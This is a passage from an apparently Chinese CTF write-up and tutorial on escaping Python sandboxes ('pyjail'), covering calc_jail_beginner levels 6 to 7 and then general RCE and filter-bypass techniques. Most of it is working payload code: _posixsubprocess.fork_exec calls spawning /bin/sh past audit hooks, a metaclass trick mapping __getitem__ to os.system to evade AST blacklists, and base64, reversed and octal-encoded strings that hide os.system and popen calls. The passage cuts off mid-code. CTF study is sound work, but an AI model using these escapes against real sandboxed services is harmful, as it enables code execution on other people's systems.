&#x27;</span>_ \| <span class="string">&#x27;_ \ / _ \ &#x27;</span>__|   | |/ _` | | | | |/ _ \ \ / / _ \ | <span class="string">&#x27;_ \ </span></span><br><span class="line"><span class="string"> | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |</span></span><br><span class="line"><span class="string"> |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/ </span></span><br><span class="line"><span class="string">              __/ |                          _/ |                                     </span></span><br><span class="line"><span class="string">             |___/                          |__/                                                                                                                                                              </span></span><br><span class="line"><span class="string">  </span></span><br><span class="line"><span class="string">Welcome to the python jail</span></span><br><span class="line"><span class="string">Let&#x27;</span>s have an beginner jail of calc</span><br><span class="line">Enter your expression <span class="keyword">and</span> I will evaluate it <span class="keyword">for</span> you.</span><br><span class="line">White <span class="built_in">list</span> of audit hook ===&gt; builtins.<span class="built_in">input</span>,builtins.<span class="built_in">input</span>/result,<span class="built_in">exec</span>,<span class="built_in">compile</span></span><br><span class="line">Some code of python jail:</span><br><span class="line"></span><br><span class="line">  dict_global = <span class="built_in">dict</span>()</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">      <span class="keyword">try</span>:</span><br><span class="line">          input_data = <span class="built_in">input</span>(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">      <span class="keyword">except</span> EOFError:</span><br><span class="line">          <span class="built_in">print</span>()</span><br><span class="line">          <span class="keyword">break</span></span><br><span class="line">      <span class="keyword">except</span> KeyboardInterrupt:</span><br><span class="line">          <span class="built_in">print</span>(<span class="string">&#x27;bye~~&#x27;</span>)</span><br><span class="line">          <span class="keyword">continue</span></span><br><span class="line">      <span class="keyword">if</span> input_data == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">          <span class="keyword">continue</span></span><br><span class="line">      <span class="keyword">try</span>:</span><br><span class="line">          complie_code = <span class="built_in">compile</span>(input_data, <span class="string">&#x27;&lt;string&gt;&#x27;</span>, <span class="string">&#x27;single&#x27;</span>)</span><br><span class="line">      <span class="keyword">except</span> SyntaxError <span class="keyword">as</span> err:</span><br><span class="line">          <span class="built_in">print</span>(err)</span><br><span class="line">          <span class="keyword">continue</span></span><br><span class="line">      <span class="keyword">try</span>:</span><br><span class="line">          <span class="built_in">exec</span>(complie_code, dict_global)</span><br><span class="line">      <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">          <span class="built_in">print</span>(err)</span><br><span class="line">  </span><br><span class="line">&gt; </span><br></pre></td></tr></table></figure></div><p>这题已经几乎把所有的 hook 给 ban 掉了。参考这个 writeup：<a class="link" href="https://ctftime.org/writeup/31883">https://ctftime.org/writeup/31883 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>也就是利用 <code>_posixsubprocess.fork_exec</code>  来实现 RCE。不过需要注意，不同的 python 版本的 <code>_posixsubprocess.fork_exec</code>  接受的参数个数可能不一样：例如本地 WSL 的 python 版本为 3.8.10，该函数接受 17 个参数；而远程 python 版本为 3.10.6，该函数和上面的 writeup 接受 21 个参数。</p><p>而且注意到，直接 <code>import _posixsubprocess</code>  的话，会触发 <code>audit hook</code> ：</p><p>可以通过如下方法绕过：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">__builtins__[&#x27;__loader__&#x27;].load_module(&#x27;_posixsubprocess&#x27;)</span><br><span class="line">__loader__.load_module(&#x27;_posixsubprocess&#x27;)</span><br></pre></td></tr></table></figure></div><p>而且因为是多次 exec，所以我们可以输入多行代码：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">import os</span><br><span class="line">__loader__.load_module(&#x27;_posixsubprocess&#x27;).fork_exec([b&quot;/bin/sh&quot;], [b&quot;/bin/sh&quot;], True, (), None, None, -1, -1, -1, -1, -1, -1,*(os.pipe()), False, False, None, None, None, -1, None)</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/09/lo3wgxhXz1eri89.png" alt="image.png"></p><h3 id="calc_jail_beginner_level61"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level61">#</a> calc_jail_beginner_level6.1</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">  _                _                           _       _ _   _                _   __</span><br><span class="line"> | |              (_)                         (_)     (_) | | |              | | / /</span><br><span class="line"> | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_</span><br><span class="line"> | <span class="string">&#x27;_ \ / _ \/ _` | | &#x27;</span>_ \| <span class="string">&#x27;_ \ / _ \ &#x27;</span>__|   | |/ _` | | | | |/ _ \ \ / / _ \ | <span class="string">&#x27;_ \</span></span><br><span class="line"><span class="string"> | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |</span></span><br><span class="line"><span class="string"> |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/</span></span><br><span class="line"><span class="string">              __/ |                          _/ |</span></span><br><span class="line"><span class="string">             |___/                          |__/                                                                        </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Welcome to the python jail</span></span><br><span class="line"><span class="string">Let&#x27;</span>s have an beginner jail of calc</span><br><span class="line">Enter your expression <span class="keyword">and</span> I will evaluate it <span class="keyword">for</span> you.</span><br><span class="line">White <span class="built_in">list</span> of audit hook ===&gt; builtins.<span class="built_in">input</span>,builtins.<span class="built_in">input</span>/result,<span class="built_in">exec</span>,<span class="built_in">compile</span></span><br><span class="line">Some code of python jail:</span><br><span class="line"></span><br><span class="line">    dict_global = <span class="built_in">dict</span>()</span><br><span class="line">    input_code = <span class="built_in">input</span>(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">    complie_code = <span class="built_in">compile</span>(input_code, <span class="string">&#x27;&lt;string&gt;&#x27;</span>, <span class="string">&#x27;single&#x27;</span>)</span><br><span class="line">    <span class="built_in">exec</span>(complie_code, dict_global)</span><br><span class="line"></span><br><span class="line">&gt; </span><br></pre></td></tr></table></figure></div><p>和上面那题不同，在这里我们仅有一次代码执行机会。</p><p>不过不慌，我们之前提到了 python 3.8 引入的海象运算符，还是可以通过用海象运算符和 <code>list</code>  的方式弄出代码：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[os := <span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>), _posixsubprocess := __loader__.load_module(<span class="string">&#x27;_posixsubprocess&#x27;</span>), _posixsubprocess.fork_exec([<span class="string">b&quot;/bin/sh&quot;</span>], [<span class="string">b&quot;/bin/sh&quot;</span>], <span class="literal">True</span>, (), <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, *(os.pipe()), <span class="literal">False</span>, <span class="literal">False</span>, <span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, <span class="literal">None</span>)]</span><br></pre></td></tr></table></figure></div><p>但是 payload 发送过去之后，能弹 shell，但是 shell 秒关，输入任何命令也不见回显。</p><p>可以看看假设我们暴力多次尝试起 shell，会发生什么：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[os := <span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>), _posixsubprocess := __loader__.load_module(<span class="string">&#x27;_posixsubprocess&#x27;</span>), [_posixsubprocess.fork_exec([<span class="string">b&quot;/bin/sh&quot;</span>], [<span class="string">b&quot;/bin/sh&quot;</span>], <span class="literal">True</span>, (), <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, *(os.pipe()), <span class="literal">False</span>, <span class="literal">False</span>, <span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, <span class="literal">None</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100000</span>)]]</span><br></pre></td></tr></table></figure></div><p>先将要执行的 shell 命令复制进剪贴板，然后在它疯狂回显的时候，疯狂粘贴回车，看看能不能执行。结果居然有一定概率会回显执行命令的结果！于是就在这种破烂 shell 下拿到了 flag……</p><p>不过还有更加优雅（？）的做法：利用 <code>itertools</code>  中的<a class="link" href="https://zhuanlan.zhihu.com/p/34139147">无限迭代器 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>来暴力起 shell。不过实测好像并达不到无限：猜测远程起进程的个数有限，到一定数目之后会炸：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[os := <span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>), itertools := __loader__.load_module(<span class="string">&#x27;itertools&#x27;</span>), _posixsubprocess := __loader__.load_module(<span class="string">&#x27;_posixsubprocess&#x27;</span>), [_posixsubprocess.fork_exec([<span class="string">b&quot;/bin/sh&quot;</span>], [<span class="string">b&quot;/bin/sh&quot;</span>], <span class="literal">True</span>, (), <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>, *(os.pipe()), <span class="literal">False</span>, <span class="literal">False</span>, <span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>, -<span class="number">1</span>, <span class="literal">None</span>) <span class="keyword">for</span> i <span class="keyword">in</span> itertools.count(<span class="number">0</span>)]]</span><br></pre></td></tr></table></figure></div><h3 id="calc_jail_beginner_level7"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level7">#</a> calc_jail_beginner_level7</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">G</span><br><span class="line">=================================================================================================</span><br><span class="line">==        Black List AST:                                                                      ==</span><br><span class="line">==                       &#x27;Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==</span><br><span class="line">==                        Sub,Mult,Div,Del&#x27;                                                    ==</span><br><span class="line">=================================================================================================</span><br></pre></td></tr></table></figure></div><p>虽然没有了 import 和 call，但有一个魔术方法<a class="link" href="https://zhuanlan.zhihu.com/p/149126959"> metaclass <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。可以通过 metaclass 给类添加属性。</p><p>猜测一下，既然能添加类的属性，那是否可以修改呢？也就是说如果我们将一个类的某一个属性修改为 <code>os.system</code>  这样的函数，那么这样一来在我们调用的时候就可以执行了。现在的问题是需要一个可以传入字符串的属性，发现正好 <code>__getitem__</code> 符合条件。</p><p><code>__getitem__</code> 是用来取列表或者字典的值的一个属性，如果我们将一个类的 <code>__getitem__</code> 改为 <code>os.system</code>  的话是不是就可以执行 shell 了哈哈</p><p>举个例子：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">WOOD</span>():</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line">WOOD.__getitem__=os.system</span><br><span class="line">WOOD()[<span class="string">&#x27;ls&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p>运行后发现执行了 ls 但这样依然无法解决这个题，如果我们将上述代码转为 AST 查看，会发现有 Call 和 Expr</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> ast</span><br><span class="line"></span><br><span class="line">src=<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">import os</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">class WOOD():</span></span><br><span class="line"><span class="string">pass</span></span><br><span class="line"><span class="string">WOOD.__getitem__=os.system</span></span><br><span class="line"><span class="string">WOOD()[&#x27;ls&#x27;]</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">ast_node = ast.parse(src, <span class="string">&quot;test&quot;</span>, mode=<span class="string">&quot;exec&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(ast.dump(ast_node))</span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">Module(body=[Import(names=[alias(name=&#x27;os&#x27;, asname=None)]), ClassDef(name=&#x27;WOOD&#x27;, bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id=&#x27;WOOD&#x27;, ctx=Load()), attr=&#x27;__getitem__&#x27;, ctx=Store())], value=Attribute(value=Name(id=&#x27;os&#x27;, ctx=Load()), attr=&#x27;system&#x27;, ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id=&#x27;WOOD&#x27;, ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value=&#x27;ls&#x27;, kind=None)), ctx=Load()))], type_ignores=[])</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure></div><p>对于如何避开 <code>Expr</code> ，我们给执行的内容赋值就行。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tmp = WOOD()[<span class="string">&#x27;ls&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p>如何绕过 <code>Call</code> ？可以用 <code>metaclass</code> ，我们指定一个类的 <code>__getitem__==os.system</code> ，使用 mateclass 可以让类拥有属性，但不是类生成的对象具有这个属性，这样我们就不用调用实例化类的 Call，从而进行绕过 Call。</p><p>因此最终 payload 为:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">WOOD</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    __getitem__=os.system</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">WHALE</span>(metaclass=WOOD):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line">tmp = WHALE[<span class="string">&#x27;sh&#x27;</span>]</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/05/09/KHuyBwsjt1FZEQP.png" alt="image.png"></p><h2 id="rce"><a class="markdownIt-Anchor" href="#rce">#</a> RCE</h2><h3 id="绕过删除模块或方法"><a class="markdownIt-Anchor" href="#绕过删除模块或方法">#</a> 绕过删除模块或方法</h3><p><code>del</code>  会删除模块或方法，比如下面删除了 <code>builitins</code>  模块的 <code>eval</code>  方法</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line">&lt;built-<span class="keyword">in</span> function <span class="built_in">eval</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">del</span> __builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">KeyError: <span class="string">&#x27;eval&#x27;</span></span><br></pre></td></tr></table></figure></div><h4 id="reload重加载"><a class="markdownIt-Anchor" href="#reload重加载">#</a> reload 重加载</h4><p>reload 可以重新加载被删除的模块</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line">&lt;built-<span class="keyword">in</span> function <span class="built_in">eval</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">del</span> __builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">KeyError: <span class="string">&#x27;eval&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>reload(__builtins__)</span><br><span class="line">&lt;module <span class="string">&#x27;__builtin__&#x27;</span> (built-<span class="keyword">in</span>)&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__.__dict__[<span class="string">&#x27;eval&#x27;</span>]</span><br><span class="line">&lt;built-<span class="keyword">in</span> function <span class="built_in">eval</span>&gt;</span><br></pre></td></tr></table></figure></div><p>在 Python 3 中， <code>reload() </code> 函数被移动到 <code>importlib</code>  模块中，所以如果要使用  <code>reload()</code>  函数，需要先导入 <code>importlib</code>  模块。</p><h4 id="恢复-sysmodules"><a class="markdownIt-Anchor" href="#恢复-sysmodules">#</a> 恢复 sys.modules</h4><p>一些过滤中可能将  <code>sys.modules['os']</code>  进行修改。这个时候即使将 os 模块导入进来，也是无法使用的.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>sys.modules[<span class="string">&#x27;os&#x27;</span>] = <span class="string">&#x27;not allowed&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;ls&#x27;</span>)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">AttributeError: <span class="string">&#x27;str&#x27;</span> <span class="built_in">object</span> has no attribute <span class="string">&#x27;system&#x27;</span></span><br></pre></td></tr></table></figure></div><p>由于很多别的命令执行库也使用到了 os, 因此也会受到相应的影响，例如 subprocess</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">__import__</span>(<span class="string">&#x27;subprocess&#x27;</span>).Popen(<span class="string">&#x27;whoami&#x27;</span>, shell=<span class="literal">True</span>)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">  File <span class="string">&quot;/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py&quot;</span>, line <span class="number">688</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">Popen</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">  File <span class="string">&quot;/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py&quot;</span>, line <span class="number">1708</span>, <span class="keyword">in</span> Popen</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_handle_exitstatus</span>(<span class="params">self, sts, _WIFSIGNALED=os.WIFSIGNALED,</span></span><br><span class="line"><span class="params">AttributeError: <span class="string">&#x27;str&#x27;</span> <span class="built_in">object</span> has no attribute <span class="string">&#x27;WIFSIGNALED&#x27;</span></span></span><br></pre></td></tr></table></figure></div><p>由于 import 导入模块时会检查 sys.modules 中是否已经有这个类，如果有则不加载，没有则加载。因此我们只需要将 os 模块删除，然后再次导入即可.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sys.modules[<span class="string">&#x27;os&#x27;</span>] = <span class="string">&#x27;not allowed&#x27;</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">del</span> sys.modules[<span class="string">&#x27;os&#x27;</span>] <span class="comment">#删除os模块</span></span><br><span class="line"><span class="keyword">import</span> os <span class="comment">#重新导入</span></span><br><span class="line">os.system(<span class="string">&#x27;ls&#x27;</span>)</span><br></pre></td></tr></table></figure></div><h4 id="基于继承链获取"><a class="markdownIt-Anchor" href="#基于继承链获取">#</a> 基于继承链获取</h4><p>在清空了  <code>__builtins__</code> 的情况下，我们也可以通过索引 subclasses 来找到这些内建函数。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 根据环境找到 bytes 的索引，此处为 5</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>().__class__.__base__.__subclasses__()[<span class="number">5</span>]</span><br><span class="line">&lt;<span class="keyword">class</span> <span class="string">&#x27;bytes&#x27;</span>&gt;</span><br></pre></td></tr></table></figure></div><p>在上面 <code>calc_jail_beginner_level4.1</code>  题目中运用到了这个方式</p><h3 id="绕过基于字符串匹配的过滤"><a class="markdownIt-Anchor" href="#绕过基于字符串匹配的过滤">#</a> 绕过基于字符串匹配的过滤</h3><h4 id="字符串转换"><a class="markdownIt-Anchor" href="#字符串转换">#</a> 字符串转换</h4><h5 id="字符串拼接"><a class="markdownIt-Anchor" href="#字符串拼接">#</a> 字符串拼接</h5><p>在我们的 payload 中，例如如下的 payload， <code>__builtins__</code>   <code>file</code>  这些字符串如果被过滤了，就可以使用字符串变换的方式进行绕过。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">59</span>].__init__.__globals__[<span class="string">&#x27;__builtins__&#x27;</span>][<span class="string">&#x27;file&#x27;</span>](<span class="string">&#x27;E:/passwd&#x27;</span>).read()</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">59</span>].__init__.__globals__[<span class="string">&#x27;__buil&#x27;</span>+<span class="string">&#x27;tins__&#x27;</span>][<span class="string">&#x27;fi&#x27;</span>+<span class="string">&#x27;le&#x27;</span>](<span class="string">&#x27;E:/passwd&#x27;</span>).read()</span><br></pre></td></tr></table></figure></div><p>局限性：如果过滤的是  <code>__class__</code>  或者  <code>__mro__</code>  这样的属性名，就无法采用变形来绕过了。</p><h5 id="base64变形"><a class="markdownIt-Anchor" href="#base64变形">#</a> base64 变形</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> base64</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>base64.b64encode(<span class="string">&#x27;__import__&#x27;</span>)</span><br><span class="line"><span class="string">&#x27;X19pbXBvcnRfXw==&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>base64.b64encode(<span class="string">&#x27;os&#x27;</span>)</span><br><span class="line"><span class="string">&#x27;b3M=&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>__builtins__.__dict__[<span class="string">&#x27;X19pbXBvcnRfXw==&#x27;</span>.decode(<span class="string">&#x27;base64&#x27;</span>)](<span class="string">&#x27;b3M=&#x27;</span>.decode(<span class="string">&#x27;base64&#x27;</span>)).system(<span class="string">&#x27;calc&#x27;</span>)</span><br><span class="line"><span class="number">0</span></span><br></pre></td></tr></table></figure></div><h5 id="逆序"><a class="markdownIt-Anchor" href="#逆序">#</a> 逆序</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&#x27;)&quot;imaohw&quot;(metsys.)&quot;so&quot;(__tropmi__&#x27;</span>[::-<span class="number">1</span>])</span><br><span class="line">kali</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">exec</span>(<span class="string">&#x27;)&quot;imaohw&quot;(metsys.so ;so tropmi&#x27;</span>[::-<span class="number">1</span>])</span><br><span class="line">kali</span><br></pre></td></tr></table></figure></div><p>注意 exec 与 eval 在执行上有所差异。</p><blockquote><p><code>eval</code>  函数用于计算传递给它的 Python 表达式，并返回结果。它通常用于<strong>执行单一表达式</strong>，并将其结果赋值给变量。</p><p><code>exec</code>  函数用于执行包含 Python 代码块的字符串。它通常用于<strong>执行多行代码</strong>，而不返回任何结果。</p></blockquote><h5 id="进制转换"><a class="markdownIt-Anchor" href="#进制转换">#</a> 进制转换</h5><p>八进制：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">exec</span>(<span class="string">&quot;print(&#x27;RCE&#x27;); __import__(&#x27;os&#x27;).system(&#x27;ls&#x27;)&quot;</span>)</span><br><span class="line"><span class="built_in">exec</span>(<span class="string">&quot;\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>exp:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&quot;eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])&quot;</span></span><br><span class="line">octal_string = <span class="string">&quot;&quot;</span>.join([<span class="string">f&quot;\\<span class="subst">&#123;<span class="built_in">oct</span>(<span class="built_in">ord</span>(c))[<span class="number">2</span>:]&#125;</span>&quot;</span> <span class="keyword">for</span> c <span class="keyword">in</span> s])</span><br><span class="line"><span 